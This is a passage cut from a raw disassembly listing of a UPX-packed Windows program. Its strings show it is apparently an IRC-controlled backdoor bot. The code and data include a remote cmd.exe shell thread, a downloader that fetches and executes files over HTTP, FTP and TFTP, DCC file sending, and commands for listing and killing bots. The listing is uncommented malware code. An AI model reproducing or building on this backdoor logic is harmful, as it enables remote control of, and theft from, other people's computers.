ds:dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DEA0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call ds:dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: UPX1:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC ; ??3@YAXPAX@Z pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: UPX0:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: UPX1:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call ds:dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp ds:dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp ds:dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp ds:dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: UPX1:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 ; ??1type_info@@UAE@XZ test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC ; ??3@YAXPAX@Z pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp ds:dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp ds:dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA XREF: UPX1:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 20h UPX0 ends ; Section 2. (virtual address 00017000) ; Virtual size : 0000B000 ( 45056.) ; Section size in file : 0000B000 ( 45056.) ; Offset to raw data for section: 00017000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 417000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r ; UPX1:00421AA1o dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; sub_4083AD+2DDr ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr ; sub_414EF4+8EEr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er ; sub_401981+D7r dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r ; sub_401981+111r dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r ; sub_40332B+1D0r ... dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r ; sub_40332B+1D7r ... dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r ; sub_401244+4F4r ... dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r ; sub_401244+4C1r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; sub_401E38+30r ... dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; sub_408F2E+134r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; sub_408F2E+7Fr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r dword_4170F4 dd 77E78C17h ; DATA XREF: UPX0:00416822r dword_4170F8 dd 77E7C2C4h ; DATA XREF: UPX0:00416899r dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr ; sub_414EF4+5BCr ... dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br ; sub_414EF4+5CEr ... dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r dword_417124 dd 77C21AD8h ; DATA XREF: UPX0:loc_416E08r dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; sub_402A32+79Br ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; sub_408F2E+1D1r ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; sub_415B60+84r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; sub_4055E5+7Br ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; sub_411DC5+DFr ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r ; sub_40732D+1A8r ... dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r ; sub_4038BA+171r ... dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r ; sub_4038BA+186r ... dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r ; sub_403588+4Ar ... dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr ; sub_403588+1FEr ... dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r ; sub_4055E5+F3r ... dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr ; sub_4055E5+DDr ... dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r ; sub_4020C2+201r dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r ; sub_411DC5+372r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r dword_417264 dd 71AB41DAh ; DATA XREF: UPX0:004169F2r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: UPX0:004167F6o dd offset loc_416AC5 dd offset loc_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; UPX0:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: UPX1:off_41DEB0o ; UPX1:off_41DED0o off_4172C0 dd offset off_41DEB0 ; DATA XREF: UPX1:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: UPX1:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: UPX1:004172B0o dd offset off_41DEB0 dd offset dword_4172DC+4 align 8 off_417308 dd offset off_41DED0 ; DATA XREF: UPX1:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: UPX1:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: UPX1:004172B8o dd offset off_41DED0 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: UPX0:loc_416FDDo dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DEB0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: UPX1:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 30Eh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset aKnJnuXxQEzds ; "ª¿œ¿µ¦ž»ß•帚ɟ¶…§„‘" dd offset dword_418014 dd 0 dword_418014 dd 0BC8A9BAAh, 8B88998Dh, 93C484B7h, 0C9AAA3F9h, 87ABB697h ; DATA XREF: UPX1:0041800Co dd 0BCB187A4h, 98D9B59Eh, 0CA86A5E3h, 89AA8EA5h, 2 dup(0) aKnJnuXxQEzds db 'ª¿œ¿µ¦ž»ß•帚ɟ¶…§„‘',0 ; DATA XREF: UPX1:00418008o align 4 dd 0 dword_41805C dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh ; DATA XREF: UPX1:00418004o dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh dd 83E4AAACh, 0D48C84F9h, 8DBAAB8Fh, 0BBh, 0 dword_418098 dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh ; DATA XREF: UPX1:off_418000o dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh dd 83E4AAACh, 0F9h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: 